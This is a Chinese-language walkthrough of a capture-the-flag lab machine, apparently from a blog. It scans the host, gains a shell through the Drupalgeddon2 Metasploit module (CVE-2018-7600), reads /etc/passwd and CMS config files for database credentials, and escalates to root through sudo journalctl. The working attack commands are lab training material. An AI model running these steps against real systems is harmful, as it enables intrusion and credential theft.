靶机准备

导入虚拟机,并将网络模式设置为NAT



扫描ip

netdiscover -r 192.168.164.0/24

渗透测试

扫描端口

nmap -sS -sV -T5 -A -p- 192.168.164.191



其中有3个端口开放了http服务

依次访问80、8081、9001

其中80是w3.css 5000端口是WordPress 8081端口是Joomla 9001端口是drupal

cms版本扫描

1.wpscan --url http://192.168.164.191:5000/-e u
得知wordpress版本为5.7.2(这个前面nmap也扫出了)和用户名wordpress_admin
2.perl joomscan.pl --url http://192.168.164.191:8081/
得到joomla版本3.4.3
3.python3 cmsmap.py http://192.168.164.191:9001
得到drupal版本7.54



drupal 7.54有个RCE漏洞CVE-2018-7600



使用msf,可以成功获取到一个meterpreter

use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.164.191
set rport 9001
run



转换为交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

不是root权限

提权

查看具备suid的有那些命令

find / -perm -u=s -type f 2>/dev/null



没有能直接用来提权的。

开放了22ssh端口,收集信息

cat /etc/passwd
ls -l /home



发现elliot、tyrell、ghost这三个普通用户

在/var/www/html/drupal/sites/default/settings.php找到到drupal配置文件,得到数据库用户名密码:drupal_admin/p@$$_C!rUP@!_cM5

在/var/www/html/joomla/configuration.php找到joomla配置信息,收集到数据库用户名:joomla_admin/j00m1_@_dBpA$$

在/var/www/html/wordpress/public_html/wp-config.php找到wordpress配置信息,收集到数据库用户名密码:wp_admin/UUs3R_C!B@p@55



这里我着这几个数据库都连接不上

再找有用的信息

在/drupal/misc/tyrell.passwenji文件中找到用户及密码tyrell/mR_R0bo7_i5_R3@!_



切换到用户



发现用户可以无密码执行root权限文件/bin/journalctl



获取root权限

sudo journalctl
!/bin/sh



到root目录下获得flag

最新文章

  1. android 开发项目笔记1
  2. the diff typeof and instanceof
  3. Android 动画特效
  4. Repeater分页
  5. 使用Visual Studio Code开发Asp.Net Core WebApi学习笔记(七)-- 结构化配置
  6. jquery.validate.js实例演示
  7. Oracle 11g XE 试用记录
  8. android数据库操作之直接读取db文件
  9. android-vlc for rtsp build OK
  10. 关于overflow的问题
  11. Android 开发 关于APP无法安装到Android模拟器上的问题
  12. Codeforces Round #425 (Div. 2) Problem D Misha, Grisha and Underground (Codeforces 832D) - 树链剖分 - 树状数组
  13. 线程---同步(synchronized)
  14. React-Native 之 Navigator与NavigatorIOS使用
  15. Android WebView加载Html右边空白问题的解决方案
  16. XE Styles不见了
  17. Web验证方式(3)--OAuth 2.0协议
  18. HDU 1213(裸并查集)(无变形)
  19. pandas(三)汇总和计算描述统计
  20. php连接mysql报错——Fatal error: Call to undefined function mysql_connect() in

热门文章

  1. Spring Druid多数据源配置
  2. 9、架构--动静分离、rewrite、HTTPS
  3. Solution -「HDU #6566」The Hanged Man
  4. suse 12 脚本部署docker(二进制文件)
  5. JAVA8学习——Stream底层的实现四(学习过程)
  6. 图解python | 安装与环境设置
  7. pagehelper 自循环启动报错
  8. HTML背景图加载过慢解决思路
  9. WPS:将题注与章节连接起来
  10. XML序列化反序列化